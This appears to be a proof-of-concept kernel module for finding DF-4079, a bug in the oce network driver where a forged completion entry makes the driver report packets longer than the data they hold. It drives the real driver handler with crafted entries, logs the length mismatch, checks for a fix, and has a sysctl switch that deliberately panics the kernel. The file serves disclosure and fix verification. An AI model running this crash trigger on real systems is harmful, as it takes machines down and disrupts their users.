/*
 * DF-4079 PoC rig — oce_rx() builds an mbuf chain whose m_pkthdr.len is the
 * raw 14-bit CQE pkt_size, unclamped to num_fragments x frag_size
 * (sys/dev/netif/oce/oce_if.c:1260,1274,1290-1291,1299).
 *
 * THE REAL PRODUCTION HANDLER IS DISPATCHED.  The guest kernel is built with
 * `device oce` (X86_64_GENERIC), so the driver's oce_rq_handler() — and the
 * static oce_rx() it calls — live in the RUNNING kernel image
 * (/boot/kernel/kernel, T oce_rq_handler).  This KLD references
 * oce_rq_handler(), oce_alloc_rx_bufs(), oce_create_ring_buffer(),
 * oce_destroy_ring_buffer() and oce_free_posted_rxbuf() as EXTERNAL
 * symbols, so the kernel linker binds every call to the kernel's own code:
 * nothing about the driver is recompiled, copied or modified here.
 *
 * The rig reconstructs the post-attach driver state exactly as production
 * leaves it:
 *   - struct oce_softc as oce_attach() shaped it (BE3 flags, ring sizes,
 *     rq_frag_size = OCE_RQ_BUF_SIZE = 2048 set at oce_if.c:236),
 *   - struct oce_rq exactly as oce_rq_init() (oce_queue.c:401-455) left it:
 *     the same bus_dma tag parameters, one dmamap per packet-descriptor slot,
 *     and a REAL ring buffer allocated by the kernel's own
 *     oce_create_ring_buffer(),
 *   - RX buffers posted by the kernel's own oce_alloc_rx_bufs()
 *     (real m_getcl clusters + bus_dmamap_load + RQE into the real ring),
 *   - a real ifnet (if_alloc) with if_input = rig shim, as oce_attach_ifp
 *     (oce_if.c:1656-1713) leaves it (shim instead of ether_input so the
 *     delivered chain can be inspected before the stack consumes it),
 *   - scratch kernel pages standing in for the three BE3 MMIO BARs (CFG,
 *     CSR, DB) so oce_arm_cq()/oce_alloc_rx_bufs() doorbell writes land
 *     harmlessly (offsets all < 0x140, oce_hw.h:64-88).
 *
 * The "NIC" is simulated the only way the driver can observe it: the CQE
 * bitfields in the CQ ring DMA memory (what firmware DMA-writes):
 *   case 1: pkt_size = 16383 (max 14-bit), num_fragments = 1
 *           -> 1 posted cluster delivers min(16383,2048)=2048 bytes of data
 *              but the head mbuf gets m_pkthdr.len = 16383.
 *   case 2: pkt_size = 16383, num_fragments = 7 (max 3-bit)
 *           -> 7 x 2048 = 14336 bytes of data, m_pkthdr.len = 16383
 *              (the finding's headline gap: 2047 phantom bytes).
 * Max representable chain data is 7*2048 = 14336 < 16383 = max pkt_size.
 *
 * Evidence:
 *   baseline: the shim prints claimed (pkthdr.len) vs actual (sum of m_len)
 *             for every delivered chain and flags INVARIANT VIOLATION;
 *             guest survives, pool balanced (rig frees everything).
 *   panic:    after the first delivery, the rig calls the REAL stack
 *             offset-walker m_copydata(m, off = actual+8, 8) — the exact
 *             consumer cited in the finding (sys/kern/uipc_mbuf.c:1678-1685,
 *             KASSERT "offset > size of mbuf chain"; kernel is built with
 *             INVARIANTS) -> kernel panic.
 *
 * Usage (root):
 *   kldload ./df4079_oce_poc.ko
 *   sysctl -w kern.df4079.go=1              # baseline (survives)
 *   sysctl -w kern.df4079.panic=1           # + m_copydata dispatch -> panic
 *   sysctl -w kern.df4079.go=1
 *
 * Expected on stock /usr/src: two chains delivered, both flagged
 *   "CHAIN INVARIANT VIOLATION", "SURVIVED" at the end (baseline);
 *   "Fatal trap" / KASSERT m_copydata panic (panic mode).
 * Expected on fixed /usr/src (residual-len check): chains_seen=0,
 *   violations=0, "FIX CONFIRMED".
 */

#include <sys/param.h>
#include <sys/endian.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/serialize.h>
#include <sys/sysctl.h>
#include <sys/types.h>

#include <sys/bus.h>
#include <machine/bus_dma.h>	/* X86_64_BUS_SPACE_MEM */

#include <net/if.h>
#include <net/if_arp.h>		/* struct arpcom */
#include <net/if_var.h>
#include <net/ethernet.h>

#include <dev/netif/oce/oce_if.h>	/* REAL driver structs + globals:
					 * oce_rq_handler, oce_alloc_rx_bufs,
					 * oce_create_ring_buffer, ... */

/*
 * Real kernel handlers/functions — resolved by the KLD loader against the
 * running kernel's symbol table (all global 'T'/'D' symbols in
 * /boot/kernel/kernel; `device oce` is in X86_64_GENERIC).
 * oce_rx() itself is static and called *inside* oce_rq_handler().
 */
/* uint16_t oce_rq_handler(void *) — declared in oce_if.h:1085 */

static int df4079_panic;			/* kern.df4079.panic=1 */
static int df4079_ran;

static struct lwkt_serialize df4079_ser;
static struct ifdata_pcpu *df4079_ifdata;
static void *df4079_devcfg, *df4079_csr, *df4079_db;	/* MMIO stand-ins */

SYSCTL_NODE(_kern, OID_AUTO, df4079, CTLFLAG_RW, 0, "DF-4079 PoC rig");

static u_int df4079_chains_seen;
static u_int df4079_violations;

/*
 * Production if_input stand-in (ether_input in the real stack): inspect the
 * chain the REAL oce_rx() built, exactly as the network stack would receive
 * it at oce_if.c:1373 (sc->ifp->if_input(sc->ifp, m, NULL, -1)).
 */
static void
df4079_input(struct ifnet *ifp, struct mbuf *m, const struct pktinfo *pi,
    int cpuid)
{
	u_long claimed = m->m_pkthdr.len, actual = 0;
	struct mbuf *x;
	int i;
	char buf[8];

	kprintf("df4079: REAL oce_rx delivered chain to if_input(ifp=%p):",
	    ifp);
	for (x = m, i = 0; x != NULL && i < 10; x = x->m_next, i++)
		kprintf(" [%p m_len=%d]", x, x->m_len);
	kprintf("\n");
	for (x = m; x != NULL; x = x->m_next)
		actual += x->m_len;
	df4079_chains_seen++;

	kprintf("df4079: m_pkthdr.len (claimed) = %lu   sum(m_len) (actual)"
	    " = %lu\n", claimed, actual);
	if (claimed > actual) {
		df4079_violations++;
		kprintf("df4079: *** CHAIN INVARIANT VIOLATION: pkthdr.len"
		    " exceeds chain data by %lu PHANTOM bytes (mbuf contract"
		    " m_pkthdr.len == sum(m_len) broken by oce_rx,"
		    " oce_if.c:1299) ***\n", claimed - actual);
	} else {
		kprintf("df4079: chain consistent\n");
	}

	if (df4079_panic && df4079_violations == 1) {
		/*
		 * The cited stack consumer: any offset-walker that trusts
		 * m_pkthdr.len (forwarding / fragmentation / ICMP-error
		 * paths).  off is INSIDE the claimed length but BEYOND the
		 * real chain data -> KASSERT at sys/kern/uipc_mbuf.c:1679
		 * ("m_copydata: offset > size of mbuf chain"; kernel built
		 * with INVARIANTS) or NULL m_len deref if asserts were off.
		 */
		kprintf("df4079: dispatching the stack offset-walker"
		    " m_copydata(m, off=%lu, 8) -- off is within pkthdr.len"
		    " but beyond the chain's real %lu bytes"
		    " (sys/kern/uipc_mbuf.c:1671)\n", actual + 8, actual);
		m_copydata(m, (int)(actual + 8), 8, buf);
		kprintf("df4079: survived m_copydata?!\n");
	}

	m_freem(m);
}

/* VERBATIM replay of oce_rq_init() DMA setup (oce_queue.c:429-455) */
static int
df4079_rq_dma_init(POCE_SOFTC sc, struct oce_rq *rq)
{
	int rc, i;

	rq->cfg.q_len = OCE_RX_RING_SIZE;	/* 1024, oce_attach:235 */
	rq->cfg.frag_size = OCE_RQ_BUF_SIZE;	/* 2048, oce_attach:236 */
	rq->cfg.mtu = OCE_MAX_JUMBO_FRAME_SIZE;
	rq->cfg.eqd = 0;
	rq->parent = (void *)sc;

	rc = bus_dma_tag_create(NULL,
				1, 0,
				BUS_SPACE_MAXADDR,
				BUS_SPACE_MAXADDR,
				OCE_MAX_RX_SIZE,
				1, PAGE_SIZE, 0, &rq->tag);
	if (rc)
		return (rc);

	for (i = 0; i < OCE_RQ_PACKET_ARRAY_SIZE; i++) {
		rc = bus_dmamap_create(rq->tag, 0, &rq->pckts[i].map);
		if (rc)
			return (rc);
	}

	/* the kernel's OWN ring allocator */
	rq->ring = oce_create_ring_buffer(sc, OCE_RX_RING_SIZE,
					  sizeof(struct oce_nic_rqe));
	if (rq->ring == NULL)
		return (ENOMEM);
	return (0);
}

static struct oce_nic_rx_cqe *
df4079_next_cqe(struct oce_cq *cq)
{
	/* RING_GET_CONSUMER_ITEM_VA(cq->ring, struct oce_nic_rx_cqe) */
	return ((struct oce_nic_rx_cqe *)cq->ring->dma.ptr + cq->ring->cidx);
}

static int
df4079_run(void)
{
	POCE_SOFTC sc;
	struct oce_rq *rq;
	struct oce_cq *cq;
	struct oce_nic_rx_cqe *cqe;
	struct ifnet *ifp;
	int rc, i;

	kprintf("df4079: dispatching the REAL kernel oce_rq_handler()=%p"
	    " (static oce_rx() runs inside it)\n", &oce_rq_handler);

	df4079_ifdata = kmalloc(64 * sizeof(*df4079_ifdata), M_TEMP,
	    M_WAITOK | M_ZERO);
	df4079_devcfg = kmalloc(PAGE_SIZE, M_TEMP, M_WAITOK | M_ZERO);
	df4079_csr = kmalloc(PAGE_SIZE, M_TEMP, M_WAITOK | M_ZERO);
	df4079_db = kmalloc(PAGE_SIZE, M_TEMP, M_WAITOK | M_ZERO);

	sc = kmalloc(sizeof(OCE_SOFTC), M_DEVBUF, M_WAITOK | M_ZERO);
	rq = kmalloc(sizeof(struct oce_rq), M_DEVBUF, M_WAITOK | M_ZERO);
	cq = kmalloc(sizeof(struct oce_cq), M_DEVBUF, M_WAITOK | M_ZERO);

	/* post-oce_attach softc state (oce_if.c:228-241) */
	sc->flags = OCE_FLAGS_BE3;		/* BE3: CFG+CSR+DB BARs */
	sc->tx_ring_size = OCE_TX_RING_SIZE;
	sc->rx_ring_size = OCE_RX_RING_SIZE;
	sc->rq_frag_size = OCE_RQ_BUF_SIZE;

	/* MMIO BAR stand-ins: MEM-space tag + writable kernel pages
	 * (register offsets in oce_hw.h:64-88 are all < 0x140) */
	sc->devcfg_btag = (bus_space_tag_t)X86_64_BUS_SPACE_MEM;
	sc->devcfg_bhandle = (bus_space_handle_t)(uintptr_t)df4079_devcfg;
	sc->csr_btag = (bus_space_tag_t)X86_64_BUS_SPACE_MEM;
	sc->csr_bhandle = (bus_space_handle_t)(uintptr_t)df4079_csr;
	sc->db_btag = (bus_space_tag_t)X86_64_BUS_SPACE_MEM;
	sc->db_bhandle = (bus_space_handle_t)(uintptr_t)df4079_db;

	/* ifnet as oce_attach_ifp (oce_if.c:1656-1713) leaves it */
	ifp = sc->ifp = if_alloc(IFT_ETHER);
	strlcpy(ifp->if_xname, "dfoce0", sizeof(ifp->if_xname));
	ifp->if_softc = sc;
	lwkt_serialize_init(&df4079_ser);
	ifp->if_serializer = &df4079_ser;
	ifp->if_input = df4079_input;
	ifp->if_data_pcpu = df4079_ifdata;
	ifp->if_capenable = 0;		/* skip the RX csum path */
	ifp->if_flags = IFF_RUNNING | IFF_UP;

	sc->rq[0] = rq;
	sc->nrqs = 1;

	rc = df4079_rq_dma_init(sc, rq);
	if (rc) {
		kprintf("df4079: rq dma init failed: %d\n", rc);
		goto out;
	}

	/* RX completion queue (as oce_cq_create built it: 256 x 16B CQEs) */
	cq->parent = (void *)sc;
	cq->cq_id = 1;
	cq->cb_arg = (void *)rq;
	cq->ring = oce_create_ring_buffer(sc, CQ_LEN_256,
					  sizeof(struct oce_nic_rx_cqe));
	if (cq->ring == NULL) {
		kprintf("df4079: cq ring alloc failed\n");
		goto out;
	}
	rq->cq = cq;

	/*
	 * Post real RX buffers with the kernel's OWN posting code
	 * (m_getcl clusters, bus_dmamap_load, RQEs into the real ring,
	 * RX doorbell -> DB stand-in page).
	 */
	rc = oce_alloc_rx_bufs(rq, 16);
	if (rc) {
		kprintf("df4079: oce_alloc_rx_bufs failed: %d\n", rc);
		goto out;
	}
	kprintf("df4079: %u real clusters posted via REAL oce_alloc_rx_bufs()"
	    " (frag_size=%u)\n", rq->pending, rq->cfg.frag_size);

	/* ------------------ case 1: pkt_size=16383, nf=1 ---------------- */
	cqe = df4079_next_cqe(cq);
	bzero(cqe, sizeof(*cqe));
	cqe->u0.s.pkt_size = 16383;		/* max 14-bit value */
	cqe->u0.s.num_fragments = 1;
	cqe->u0.s.valid = 1;
	kprintf("df4079: === case 1: CQE pkt_size=16383 num_fragments=1"
	    " -> max chain data 1x2048 ===\n");
	oce_rq_handler(rq);			/* REAL kernel handler */

	/* ------------------ case 2: pkt_size=16383, nf=7 ---------------- */
	if (!df4079_panic) {		/* panic mode never gets past case 1 */
		cqe = df4079_next_cqe(cq);
		bzero(cqe, sizeof(*cqe));
		cqe->u0.s.pkt_size = 16383;
		cqe->u0.s.num_fragments = 7;	/* max 3-bit value */
		cqe->u0.s.valid = 1;
		kprintf("df4079: === case 2: CQE pkt_size=16383"
		    " num_fragments=7 -> max chain data 7x2048=14336"
		    " (2047 phantom bytes) ===\n");
		oce_rq_handler(rq);		/* REAL kernel handler */
	}

	if (!df4079_panic) {
		kprintf("df4079: chains delivered to if_input: %u;"
		    " invariant violations: %u\n", df4079_chains_seen,
		    df4079_violations);
		kprintf("df4079: rq->rx_stats: rx_compl=%u rx_pkts=%llu"
		    " rx_bytes=%llu (rx_bytes counted the PHANTOM pkt_size,"
		    " oce_if.c:1381)\n",
		    rq->rx_stats.rx_compl,
		    (unsigned long long)rq->rx_stats.rx_pkts,
		    (unsigned long long)rq->rx_stats.rx_bytes);
		if (df4079_chains_seen == 0 && df4079_violations == 0)
			kprintf("df4079: FIX CONFIRMED: no inconsistent chain"
			    " reached if_input\n");
		else if (df4079_violations)
			kprintf("df4079: SURVIVED -- inconsistent mbuf chains"
			    " demonstrated above\n");
	}

out:
	/* teardown (kernel's own helpers where they exist) */
	oce_free_posted_rxbuf(rq);		/* REAL */
	if (rq->ring)
		oce_destroy_ring_buffer(sc, rq->ring);	/* REAL */
	if (cq->ring)
		oce_destroy_ring_buffer(sc, cq->ring);	/* REAL */
	if (rq->tag) {
		for (i = 0; i < OCE_RQ_PACKET_ARRAY_SIZE; i++)
			if (rq->pckts[i].map != NULL)
				bus_dmamap_destroy(rq->tag, rq->pckts[i].map);
		bus_dma_tag_destroy(rq->tag);
	}
	if (sc->ifp)
		if_free(sc->ifp);
	kfree(cq, M_DEVBUF);
	kfree(rq, M_DEVBUF);
	kfree(sc, M_DEVBUF);
	kfree(df4079_ifdata, M_TEMP);
	kfree(df4079_devcfg, M_TEMP);
	kfree(df4079_csr, M_TEMP);
	kfree(df4079_db, M_TEMP);
	df4079_ran = 1;
	return (0);
}

static int
df4079_sysctl_go(SYSCTL_HANDLER_ARGS)
{
	int error, go = 0;

	error = sysctl_handle_int(oidp, &go, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (go != 1 || df4079_ran)
		return (EPERM);
	return (df4079_run());
}
SYSCTL_PROC(_kern_df4079, OID_AUTO, go,
    CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4079_sysctl_go, "I",
    "dispatch the REAL oce_rq_handler over a crafted CQE");

static int
df4079_sysctl_panic(SYSCTL_HANDLER_ARGS)
{
	int error, v = df4079_panic;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	df4079_panic = v;
	return (0);
}
SYSCTL_PROC(_kern_df4079, OID_AUTO, panic,
    CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4079_sysctl_panic, "I",
    "1 = dispatch m_copydata on the first inconsistent chain (panics)");

static int
df4079_modevent(module_t mod, int type, void *arg)
{
	switch (type) {
	case MOD_LOAD:
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (0);
	}
}

static moduledata_t df4079_mod = { "df4079_oce_poc", df4079_modevent, NULL };
DECLARE_MODULE(df4079_oce_poc, df4079_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
